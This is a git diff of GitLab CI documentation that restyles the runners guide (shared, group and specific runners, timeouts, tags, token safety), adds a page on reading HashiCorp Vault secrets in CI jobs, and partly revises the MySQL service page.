-- source: /source\/posts\/([0-9]{4})-([0-9]{2})-([0-9]{2})-(.+?)\..*/ # source/posts/2017-01-30-around-the-world-in-6-releases.html.md.erb
- public: '\1/\2/\3/\4/' # 2017/01/30/around-the-world-in-6-releases/
+- source: /source\/posts\/([0-9]{4})-([0-9]{2})-([0-9]{2})-(.+?)\..*/ # source/posts/2017-01-30-around-the-world-in-6-releases.html.md.erb
+ public: '\1/\2/\3/\4/' # 2017/01/30/around-the-world-in-6-releases/
# HTML files
-- source: /source\/(.+?\.html).*/ # source/index.html.haml
- public: '\1' # index.html
+- source: /source\/(.+?\.html).*/ # source/index.html.haml
+ public: '\1' # index.html
# Other files
-- source: /source\/(.*)/ # source/images/blogimages/around-the-world-in-6-releases-cover.png
- public: '\1' # images/blogimages/around-the-world-in-6-releases-cover.png
+- source: /source\/(.*)/ # source/images/blogimages/around-the-world-in-6-releases-cover.png
+ public: '\1' # images/blogimages/around-the-world-in-6-releases-cover.png
```
Mappings are defined as entries in the root YAML array, and are identified by a `-` prefix. Within an entry, there is a hash map with two keys:
diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md
index 6d248156004..32561e6b98c 100644
--- a/doc/ci/runners/README.md
+++ b/doc/ci/runners/README.md
@@ -5,62 +5,62 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Configuring GitLab Runners
+# Configuring runners in GitLab
<!-- This topic contains several commented-out sections that were accidentally added in 13.2.-->
-<!-- The commented-out sections are added back in 13.3.-->
+<!-- The commented-out sections will be added back in a future release.-->
-In GitLab CI/CD, Runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md).
-A GitLab Runner is a lightweight, highly-scalable agent that picks up a CI job through
+In GitLab CI/CD, runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md).
+A runner is a lightweight, highly-scalable agent that picks up a CI job through
the coordinator API of GitLab CI/CD, runs the job, and sends the result back to the GitLab instance.
Runners are created by an administrator and are visible in the GitLab UI.
Runners can be specific to certain projects or available to all projects.
-## Types of Runners
+## Types of runners
-There are three types of Runners:
+There are three types of runners:
- [Shared](#shared-runners) (for all projects)
- [Group](#group-runners) (for all projects in a group)
- [Specific](#specific-runners) (for specific projects)
-If you are running self-managed GitLab, you can create your own Runners.
+If you are running self-managed GitLab, you can create your own runners.
-If you are using GitLab.com, you can use the shared Runners provided by GitLab or
-create your own group or specific Runners.
+If you are using GitLab.com, you can use the shared runners provided by GitLab or
+create your own group or specific runners.
-### Shared Runners
+### Shared runners
-*Shared Runners* are available to every project in a GitLab instance.
+*Shared runners* are available to every project in a GitLab instance.
-Use shared Runners when you have multiple jobs with similar requirements. Rather than
-having multiple Runners idling for many projects, you can have a few Runners that handle
+Use shared runners when you have multiple jobs with similar requirements. Rather than
+having multiple runners idling for many projects, you can have a few runners that handle
multiple projects.
If you are using a self-managed instance of GitLab:
-- Your administrator can install and register shared Runners by viewing the instructions
+- Your administrator can install and register shared runners by viewing the instructions
[here](https://docs.gitlab.com/runner/install/index.html).
<!-- going to your project's
- <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show Runner installation instructions**.-->
+ <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show runner installation instructions**.-->
<!-- These instructions are also available [here](https://docs.gitlab.com/runner/install/index.html).-->
-- The administrator can also configure a maximum number of shared Runner [pipeline minutes for
- each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only).
+- The administrator can also configure a maximum number of shared runner [pipeline minutes for
+ each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota).
If you are using GitLab.com:
-- You can select from a list of [shared Runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners).
-- The shared Runners consume the [pipelines minutes](../../subscriptions/index.md#ci-pipeline-minutes)
+- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners).
+- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes)
included with your account.
-#### How shared Runners pick jobs
+#### How shared runners pick jobs
-Shared Runners process jobs by using a fair usage queue. This queue prevents
+Shared runners process jobs by using a fair usage queue. This queue prevents
projects from creating hundreds of jobs and using all available
-shared Runner resources.
+shared runner resources.
The fair usage queue algorithm assigns jobs based on the projects that have the
-fewest number of jobs already running on shared Runners.
+fewest number of jobs already running on shared runners.
**Example 1**
@@ -88,259 +88,259 @@ The fair usage algorithm assigns jobs in this order:
If these jobs are in the queue:
-- Job 1 for project 1
-- Job 2 for project 1
-- Job 3 for project 1
-- Job 4 for project 2
-- Job 5 for project 2
-- Job 6 for project 3
+- Job 1 for Project 1
+- Job 2 for Project 1
+- Job 3 for Project 1
+- Job 4 for Project 2
+- Job 5 for Project 2
+- Job 6 for Project 3
The fair usage algorithm assigns jobs in this order:
1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects).
-1. We finish job 1.
+1. We finish Job 1.
1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number.
-1. Job 4 is next, because with Project 1 running a job, 4 is the lowest number from projects running no jobs (Projects 2 and 3).
-1. We finish job 4.
+1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3).
+1. We finish Job 4.
1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again.
1. Job 6 is next, because Project 3 is the only project left with no running jobs.
1. Lastly we choose Job 3... because, again, it's the only job left.
-#### Enable shared Runners
+#### Enable shared runners
-On GitLab.com, [shared Runners](#shared-runners) are enabled in all projects by
+On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by
default.
On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html)
and [register](https://docs.gitlab.com/runner/register/index.html) them.
-You can also enable shared Runners for individual projects.
+You can also enable shared runners for individual projects.
-To enable shared Runners:
+To enable shared runners:
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Click **Allow shared Runners**.
+1. Click **Allow shared runners**.
-#### Disable shared Runners
+#### Disable shared runners
-You can disable shared Runners for individual projects<!-- or for groups-->.
+You can disable shared runners for individual projects<!-- or for groups-->.
You must have Owner permissions for the project<!-- or group-->.
-To disable shared Runners for a project:
+To disable shared runners for a project:
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. In the **Shared Runners** area, click **Disable shared Runners**.
+1. In the **Shared runners** area, click **Disable shared runners**.
-<!--To disable shared Runners for a group:
+<!--To disable shared runners for a group:
1. Go to the group's **Settings > CI/CD** and expand the **Runners** section.
-1. In the **Shared Runners** area, click **Disable shared Runners globally**.
-1. Optionally, to allow shared Runners to be enabled for individual projects or subgroups,
+1. In the **Shared runners** area, click **Disable shared runners globally**.
+1. Optionally, to allow shared runners to be enabled for individual projects or subgroups,
click **Allow projects/subgroups to override the global setting**.
-->
-### Group Runners
+### Group runners
-Use *Group Runners* when you want all projects in a group
-to have access to a set of Runners.
+Use *Group runners* when you want all projects in a group
+to have access to a set of runners.
-Group Runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
+Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
-#### Create a group Runner
+#### Create a group runner
-You can create a group Runner for your self-managed GitLab instance or for GitLab.com.
+You can create a group runner for your self-managed GitLab instance or for GitLab.com.
You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group.
-To create a group Runner:
+To create a group runner:
-1. [Install Runner](https://docs.gitlab.com/runner/install/).
-1. Go to the group you want to make the Runner work for.
+1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/).
+1. Go to the group you want to make the runner work for.
1. Go to **Settings > CI/CD** and expand the **Runners** section.
1. Note the URL and token.
-1. [Register the Runner](https://docs.gitlab.com/runner/register/).
+1. [Register the runner](https://docs.gitlab.com/runner/register/).
-#### View and manage group Runners
+#### View and manage group runners
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2.
-You can view and manage all Runners for a group, its subgroups, and projects.
+You can view and manage all runners for a group, its subgroups, and projects.
You can do this for your self-managed GitLab instance or for GitLab.com.
You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group.
-1. Go to the group where you want to view the Runners.
+1. Go to the group where you want to view the runners.
1. Go to **Settings > CI/CD** and expand the **Runners** section.
1. The following fields are displayed.
| Attribute | Description |
| ------------ | ----------- |
| Type | One or more of the following states: shared, group, specific, locked, or paused |
- | Runner token | Token used to identify the Runner, and which the Runner uses to communicate with the GitLab instance |
- | Description | Description given to the Runner when it was created |
+ | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance |
+ | Description | Description given to the runner when it was created |
| Version | GitLab Runner version |
- | IP address | IP address of the host on which the Runner is registered |
- | Projects | The count of projects to which the Runner is assigned |
- | Jobs | Total of jobs run by the Runner |
- | Tags | Tags associated with the Runner |
- | Last contact | Timestamp indicating when the GitLab instance last contacted the Runner |
+ | IP address | IP address of the host on which the runner is registered |
+ | Projects | The count of projects to which the runner is assigned |
+ | Jobs | Total of jobs run by the runner |
+ | Tags | Tags associated with the runner |
+ | Last contact | Timestamp indicating when the GitLab instance last contacted the runner |
-From this page, you can edit, pause, and remove Runners from the group, its subgroups, and projects.
+From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects.
-#### Pause or remove a group Runner
+#### Pause or remove a group runner
-You can pause or remove a group Runner for your self-managed GitLab instance or for GitLab.com.
+You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com.
You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group.
-1. Go to the group you want to remove or pause the Runner for.
+1. Go to the group you want to remove or pause the runner for.
1. Go to **Settings > CI/CD** and expand the **Runners** section.
-1. Click **Pause** or **Remove Runner**.
- - If you pause a group Runner that is used by multiple projects, the Runner pauses for all projects.
- - From the group view, you cannot remove a Runner that is assigned to more than one project.
+1. Click **Pause** or **Remove runner**.
+ - If you pause a group runner that is used by multiple projects, the runner pauses for all projects.
+ - From the group view, you cannot remove a runner that is assigned to more than one project.
You must remove it from each project first.
1. On the confirmation dialog, click **OK**.
-### Specific Runners
+### Specific runners
-Use *Specific Runners* when you want to use Runners for specific projects. For example,
+Use *Specific runners* when you want to use runners for specific projects. For example,
when you have:
- Jobs with specific requirements, like a deploy job that requires credentials.
-- Projects with a lot of CI activity that can benefit from being separate from other Runners.
+- Projects with a lot of CI activity that can benefit from being separate from other runners.
-You can set up a specific Runner to be used by multiple projects. Specific Runners
+You can set up a specific runner to be used by multiple projects. Specific runners
must be enabled for each project explicitly.
-Specific Runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
+Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
NOTE: **Note:**
-Specific Runners do not get shared with forked projects automatically.
+Specific runners do not get shared with forked projects automatically.
A fork *does* copy the CI / CD settings of the cloned repository.
-#### Create a specific Runner
+#### Create a specific runner
-You can create a specific Runner for your self-managed GitLab instance or for GitLab.com.
+You can create a specific runner for your self-managed GitLab instance or for GitLab.com.
You must have [Owner permissions](../../user/permissions.md#project-members-permissions) for the project.
-To create a specific Runner:
+To create a specific runner:
-1. [Install Runner](https://docs.gitlab.com/runner/install/).
+1. [Install runner](https://docs.gitlab.com/runner/install/).
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
1. Note the URL and token.
-1. [Register the Runner](https://docs.gitlab.com/runner/register/).
+1. [Register the runner](https://docs.gitlab.com/runner/register/).
-#### Enable a specific Runner for a specific project
+#### Enable a specific runner for a specific project
-A specific Runner is available in the project it was created for. An administrator can
-enable a specific Runner to apply to additional projects.
+A specific runner is available in the project it was created for. An administrator can
+enable a specific runner to apply to additional projects.
- You must have Owner permissions for the project.
-- The specific Runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects).
+- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects).
-To enable or disable a specific Runner for a project:
+To enable or disable a specific runner for a project:
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
1. Click **Enable for this project** or **Disable for this project**.
-#### Prevent a specific Runner from being enabled for other projects
+#### Prevent a specific runner from being enabled for other projects
-You can configure a specific Runner so it is "locked" and cannot be enabled for other projects.
-This setting can be enabled when you first [register a Runner](https://docs.gitlab.com/runner/register/),
+You can configure a specific runner so it is "locked" and cannot be enabled for other projects.
+This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/),
but can also be changed later.
-To lock or unlock a Runner:
+To lock or unlock a runner:
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Find the Runner you want to lock or unlock. Make sure it's enabled.
+1. Find the runner you want to lock or unlock. Make sure it's enabled.
1. Click the pencil button.
1. Check the **Lock to current projects** option.
1. Click **Save changes**.
-## Manually clear the Runner cache
+## Manually clear the runner cache
Read [clearing the cache](../caching/index.md#clearing-the-cache).
-## Set maximum job timeout for a Runner
+## Set maximum job timeout for a runner
-For each Runner, you can specify a *maximum job timeout*. This timeout,
+For each runner, you can specify a *maximum job timeout*. This timeout,
if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence.
-This feature can be used to prevent your shared Runner from being overwhelmed
+This feature can be used to prevent your shared runner from being overwhelmed
by a project that has jobs with a long timeout (for example, one week).
-When not configured, Runners do not override the project timeout.
+When not configured, runners do not override the project timeout.
How this feature works:
**Example 1 - Runner timeout bigger than project timeout**
-1. You set the _maximum job timeout_ for a Runner to 24 hours
+1. You set the _maximum job timeout_ for a runner to 24 hours
1. You set the _CI/CD Timeout_ for a project to **2 hours**
1. You start a job
1. The job, if running longer, will be timed out after **2 hours**
**Example 2 - Runner timeout not configured**
-1. You remove the _maximum job timeout_ configuration from a Runner
+1. You remove the _maximum job timeout_ configuration from a runner
1. You set the _CI/CD Timeout_ for a project to **2 hours**
1. You start a job
1. The job, if running longer, will be timed out after **2 hours**
**Example 3 - Runner timeout smaller than project timeout**
-1. You set the _maximum job timeout_ for a Runner to **30 minutes**
+1. You set the _maximum job timeout_ for a runner to **30 minutes**
1. You set the _CI/CD Timeout_ for a project to 2 hours
1. You start a job
1. The job, if running longer, will be timed out after **30 minutes**
## Be careful with sensitive information
-With some [Runner Executors](https://docs.gitlab.com/runner/executors/README.html),
-if you can run a job on the Runner, you can get full access to the file system,
-and thus any code it runs as well as the token of the Runner. With shared Runners, this means that anyone
-that runs jobs on the Runner, can access anyone else's code that runs on the
-Runner.
+With some [runner executors](https://docs.gitlab.com/runner/executors/README.html),
+if you can run a job on the runner, you can get full access to the file system,
+and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone
+that runs jobs on the runner, can access anyone else's code that runs on the
+runner.
-In addition, because you can get access to the Runner token, it is possible
-to create a clone of a Runner and submit false jobs, for example.
+In addition, because you can get access to the runner token, it is possible
+to create a clone of a runner and submit false jobs, for example.
-The above is easily avoided by restricting the usage of shared Runners
+The above is easily avoided by restricting the usage of shared runners
on large public GitLab instances, controlling access to your GitLab instance,
-and using more secure [Runner Executors](https://docs.gitlab.com/runner/executors/README.html).
+and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html).
-### Prevent Runners from revealing sensitive information
+### Prevent runners from revealing sensitive information
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0.
-You can protect Runners so they don't reveal sensitive information.
-When a Runner is protected, the Runner picks jobs created on
+You can protect runners so they don't reveal sensitive information.
+When a runner is protected, the runner picks jobs created on
[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only,
and ignores other jobs.
-To protect or unprotect a Runner:
+To protect or unprotect a runner:
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Find the Runner you want to protect or unprotect. Make sure it's enabled.
+1. Find the runner you want to protect or unprotect. Make sure it's enabled.
1. Click the pencil button.
1. Check the **Protected** option.
1. Click **Save changes**.
-![specific Runners edit icon](img/protected_runners_check_box.png)
+![specific runners edit icon](img/protected_runners_check_box.png)
### Forks
Whenever a project is forked, it copies the settings of the jobs that relate
-to it. This means that if you have shared Runners set up for a project and
-someone forks that project, the shared Runners serve jobs of this project.
+to it. This means that if you have shared runners set up for a project and
+someone forks that project, the shared runners serve jobs of this project.
-### Attack vectors in Runners
+### Attack vectors in runners
-Mentioned briefly earlier, but the following things of Runners can be exploited.
+Mentioned briefly earlier, but the following things of runners can be exploited.
We're always looking for contributions that can mitigate these
[Security Considerations](https://docs.gitlab.com/runner/security/).
-### Reset the Runner registration token for a project
+### Reset the runner registration token for a project
If you think that a registration token for a project was revealed, you should
-reset it. A token can be used to register another Runner for the project. That new Runner
+reset it. A token can be used to register another runner for the project. That new runner
may then be used to obtain the values of secret variables or to clone project code.
To reset the token:
@@ -353,105 +353,109 @@ To reset the token:
and check the registration token - it should be changed.
From now on the old token is no longer valid and does not register
-any new Runners to the project. If you are using any tools to provision and
-register new Runners, the tokens used in those tools should be updated to reflect the
+any new runners to the project. If you are using any tools to provision and
+register new runners, the tokens used in those tools should be updated to reflect the
value of the new token.
-## Determine the IP address of a Runner
+## Determine the IP address of a runner
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6.
-It may be useful to know the IP address of a Runner so you can troubleshoot
-issues with that Runner. GitLab stores and displays the IP address by viewing
+It may be useful to know the IP address of a runner so you can troubleshoot
+issues with that runner. GitLab stores and displays the IP address by viewing
the source of the HTTP requests it makes to GitLab when polling for jobs. The
-IP address is always kept up to date so if the Runner IP changes it will be
+IP address is always kept up to date so if the runner IP changes it will be
automatically updated in GitLab.
-The IP address for shared Runners and specific Runners can be found in
+The IP address for shared runners and specific runners can be found in
different places.
-### Determine the IP address of a shared Runner
+### Determine the IP address of a shared runner
-To view the IP address of a shared Runner you must have admin access to
+To view the IP address of a shared runner you must have admin access to
the GitLab instance. To determine this:
1. Visit **Admin Area > Overview > Runners**.
-1. Look for the Runner in the table and you should see a column for **IP Address**.
+1. Look for the runner in the table and you should see a column for **IP Address**.
-![shared Runner IP address](img/shared_runner_ip_address.png)
+![shared runner IP address](img/shared_runner_ip_address.png)
-### Determine the IP address of a specific Runner
+### Determine the IP address of a specific runner
-To can find the IP address of a Runner for a specific project,
+To can find the IP address of a runner for a specific project,
you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project.
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
1. On the details page you should see a row for **IP Address**.
-![specific Runner IP address](img/specific_runner_ip_address.png)
+![specific runner IP address](img/specific_runner_ip_address.png)
-## Use tags to limit the number of jobs using the Runner
+## Use tags to limit the number of jobs using the runner
-You must set up a Runner to be able to run all the different types of jobs
+You must set up a runner to be able to run all the different types of jobs
that it may encounter on the projects it's shared over. This would be
problematic for large amounts of projects, if it weren't for tags.
-By tagging a Runner for the types of jobs it can handle, you can make sure
-shared Runners will [only run the jobs they are equipped to run](../yaml/README.md#tags).
+By tagging a runner for the types of jobs it can handle, you can make sure
+shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags).
-For instance, at GitLab we have Runners tagged with `rails` if they contain
+For instance, at GitLab we have runners tagged with `rails` if they contain
the appropriate dependencies to run Rails test suites.
-When you [register a Runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick**
+When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick**
[tagged jobs](../yaml/README.md#tags).
To change this, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project.
-To make a Runner pick untagged jobs:
+To make a runner pick untagged jobs:
1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
-1. Find the Runner you want to pick untagged jobs and make sure it's enabled.
+1. Find the runner you want to pick untagged jobs and make sure it's enabled.
1. Click the pencil button.
1. Check the **Run untagged jobs** option.
1. Click the **Save changes** button for the changes to take effect.
NOTE: **Note:**
-The Runner tags list can not be empty when it's not allowed to pick untagged jobs.
+The runner tags list can not be empty when it's not allowed to pick untagged jobs.
Below are some example scenarios of different variations.
-### Runner runs only tagged jobs
+### runner runs only tagged jobs
-The following examples illustrate the potential impact of the Runner being set
+The following examples illustrate the potential impact of the runner being set
to run only tagged jobs.
Example 1:
-1. The Runner is configured to run only tagged jobs and has the `docker` tag.
+1. The runner is configured to run only tagged jobs and has the `docker` tag.
1. A job that has a `hello` tag is executed and stuck.
Example 2:
-1. The Runner is configured to run only tagged jobs and has the `docker` tag.
+1. The runner is configured to run only tagged jobs and has the `docker` tag.
1. A job that has a `docker` tag is executed and run.
Example 3:
-1. The Runner is configured to run only tagged jobs and has the `docker` tag.
+1. The runner is configured to run only tagged jobs and has the `docker` tag.
1. A job that has no tags defined is executed and stuck.
-### Runner is allowed to run untagged jobs
+### runner is allowed to run untagged jobs
-The following examples illustrate the potential impact of the Runner being set
+The following examples illustrate the potential impact of the runner being set
to run tagged and untagged jobs.
Example 1:
-1. The Runner is configured to run untagged jobs and has the `docker` tag.
+1. The runner is configured to run untagged jobs and has the `docker` tag.
1. A job that has no tags defined is executed and run.
1. A second job that has a `docker` tag defined is executed and run.
Example 2:
-1. The Runner is configured to run untagged jobs and has no tags defined.
+1. The runner is configured to run untagged jobs and has no tags defined.
1. A job that has no tags defined is executed and run.
1. A second job that has a `docker` tag defined is stuck.
+
+## System calls not available on GitLab.com shared runners
+
+GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library.
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
new file mode 100644
index 00000000000..6d561fe00a3
--- /dev/null
+++ b/doc/ci/secrets/index.md
@@ -0,0 +1,157 @@
+---
+stage: Release
+group: Release Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: concepts, howto
+---
+
+# Using external secrets in CI
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218746) in GitLab 13.4 and GitLab Runner 13.4.
+
+Secrets represent sensitive information your CI job needs to complete work. This
+sensitive information can be items like API tokens, database credentials, or private keys.
+Secrets are sourced from your secrets provider.
+
+Unlike CI variables, which are always presented to a job, secrets must be explicitly
+required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/README.md#secrets)
+for more information about the syntax.
+
+GitLab has selected [Vault by Hashicorp](https://www.vaultproject.io) as the
+first supported provider, and [KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2)
+as the first supported secrets engine.
+
+GitLab authenticates using Vault's
+[JWT Auth method](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication), using
+the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`)
+introduced in GitLab 12.10.
+
+You must [configure your Vault server](#configure-your-vault-server) before you
+can use [use Vault secrets in a CI job](#use-vault-secrets-in-a-ci-job).
+
+NOTE: **Note:**
+Read the [Authenticating and Reading Secrets With Hashicorp Vault](../examples/authenticating-with-hashicorp-vault/index.md)
+tutorial for a version of this feature that is available to all
+subscription levels, supports writing secrets to and deleting secrets from Vault,
+and multiple secrets engines.
+
+## Configure your Vault server
+
+To configure your Vault server:
+
+1. Enable the authentication method by running these commands. They provide your Vault
+ server the [JSON Web Key Set](https://tools.ietf.org/html/rfc7517) (JWKS) endpoint for your GitLab instance, so Vault
+ can fetch the public signing key and verify the JSON Web Token (JWT) when authenticating:
+
+ ```shell
+ $ vault auth enable jwt
+
+ $ vault write auth/jwt/config \
+ jwks_url="https://gitlab.example.com/-/jwks" \
+ bound_issuer="gitlab.example.com"
+ ```
+
+1. Configure policies on your Vault server to grant or forbid access to certain
+ paths and operations. This example grants read access to the set of secrets
+ required by your production environment:
+
+ ```shell
+ vault policy write myproject-production - <<EOF
+ # Read-only permission on 'ops/data/production/*' path
+
+ path "ops/data/production/*" {
+ capabilities = [ "read" ]
+ }
+ EOF
+ ```
+
+1. Configure roles on your Vault server, restricting roles to a project or namespace,
+ as described in [Configure Vault server roles](#configure-vault-server-roles) on this page.
+1. [Create the following CI variables](../variables/README.md#custom-environment-variables)
+ to provide details about your Vault server:
+ - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`.
+ Required.
+ - `VAULT_AUTH_ROLE` - (Optional) The role to use when attempting to authenticate.
+ If no role is specified, Vault uses the [default role](https://www.vaultproject.io/api/auth/jwt#default_role)
+ specified when the authentication method was configured.
+ - `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`.
+
+ NOTE: **Note:**
+ Support for [providing these values in the user interface](https://gitlab.com/gitlab-org/gitlab/-/issues/218677)
+ is planned but not yet implemented.
+
+## Use Vault secrets in a CI job **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4 and GitLab Runner 13.4.
+
+After [configuring your Vault server](#configure-your-vault-server), you can use
+the secrets stored in Vault by defining them with the `vault` keyword:
+
+```yaml
+secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password`
+```
+
+In this example:
+
+- `production/db` - The secret.
+- `password` The field.
+- `ops` - The path where the secrets engine is mounted.
+
+After GitLab fetches the secret from Vault, the value is saved in a temporary file.
+The path to this file is stored in environment variable named `DATABASE_PASSWORD`,
+similar to [CI variables of type `file`](../variables/README.md#custom-environment-variables-of-type-file).
+
+For more information about the supported syntax, read the
+[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault).
+
+## Configure Vault server roles
+
+When a CI job attempts to authenticate, it specifies a role. You can use roles to group
+different policies together. If authentication is successful, these policies are
+attached to the resulting Vault token.
+
+[Bound claims](https://www.vaultproject.io/docs/auth/jwt#bound-claims) are predefined
+values that are matched to the JWT's claims. With bounded claims, you can restrict access
+to specific GitLab users, specific projects, or even jobs running for specific Git
+references. You can have as many bounded claims you need, but they must *all* match
+for authentication to be successful.
+
+Combining bounded claims with GitLab features like [user roles](../../user/permissions.md)
+and [protected branches](../../user/project/protected_branches.md), you can tailor
+these rules to fit your specific use case. In this example, authentication is allowed
+only for jobs running for protected tags with names matching the pattern used for
+production releases:
+
+```shell
+$ vault write auth/jwt/role/myproject-production - <<EOF
+{
+ "role_type": "jwt",
+ "policies": ["myproject-production"],
+ "token_explicit_max_ttl": 60,
+ "user_claim": "user_email",
+ "bound_claims_type": "glob",
+ "bound_claims": {
+ "project_id": "42",
+ "ref_protected": "true",
+ "ref_type": "tag",
+ "ref": "auto-deploy-*"
+ }
+}
+EOF
+```
+
+CAUTION: **Caution:**
+Always restrict your roles to a project or namespace by using one of the provided
+claims like `project_id` or `namespace_id`. Without these restrictions, any JWT
+generated by this GitLab instance may be allowed to authenticate using this role.
+
+For a full list of `CI_JOB_JWT` claims, read the
+[How it works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the
+[Authenticating and Reading Secrets With Hashicorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial.
+
+You can also specify some attributes for the resulting Vault tokens, such as time-to-live,
+IP address range, and number of uses. The full list of options is available in
+[Vault's documentation on creating roles](https://www.vaultproject.io/api/auth/jwt#create-role)
+for the JSON web token method.
diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md
index 1b017111d22..bbab1194191 100644
--- a/doc/ci/services/mysql.md
+++ b/doc/ci/services/mysql.md
@@ -7,122 +7,123 @@ type: reference
# Using MySQL
-As many applications depend on MySQL as their database, you will eventually
-need it in order for your tests to run. Below you are guided how to do this
-with the Docker and Shell executors of GitLab Runner.
+Many applications depend on MySQL as their database, and you may
+need it for your tests to run.
## Use MySQL with the Docker executor
-If you are using [GitLab Runner](../runners/README.md) with the Docker executor
-you basically have everything set up already.
+If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor.
-First, in your `.gitlab-ci.yml` add:
+1. [Create variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your
+ MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**,
+ and clicking **Add Variable**.
-```yaml
-services:
- - mysql:latest
+ This example uses `$MYSQL_DB` and `$MYSQL_PASS` as the keys.
-variables:
- # Configure mysql environment variables (https://hub.docker.com/_/mysql/)
- MYSQL_DATABASE: "<your_mysql_database>"
- MYSQL_ROOT_PASSWORD: "<your_mysql_password>"
-```
+1. To specify a MySQL image, add the following to your `.gitlab-ci.yml` file:
-NOTE: **Note:**
-The `MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` variables can't be set in the GitLab UI.
-To set them, assign them to a variable [in the UI](../variables/README.md#create-a-custom-variable-in-the-ui),
-and then assign that variable to the
-`MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` variables in your `.gitlab-ci.yml`.
+ ```yaml
+ services:
+ - mysql:latest
+ ```
-And then configure your application to use the database, for example:
+ - You can use any Docker image available on [Docker Hub](https://hub.docker.com/_/mysql/).
+ For example, to use MySQL 5.5, use `mysql:5.5`.
+ - The `mysql` image can accept environment variables. For more information, view
+ the [Docker Hub documentation](https://hub.docker.com/_/mysql/).
-```yaml
-Host: mysql
-User: root
-Password: <your_mysql_password>
-Database: <your_mysql_database>
-```
+1. To include the database name and password, add the following to your `.gitlab-ci.yml` file:
-If you are wondering why we used `mysql` for the `Host`, read more at
-[How services are linked to the job](../docker/using_docker_images.md#how-services-are-linked-to-the-job).
+ ```yaml
+ variables:
+ # Configure mysql environment variables (https://hub.docker.com/_/mysql/)
+ MYSQL_DATABASE: $MYSQL_DB
+ MYSQL_ROOT_PASSWORD: $MYSQL_PASS
+ ```
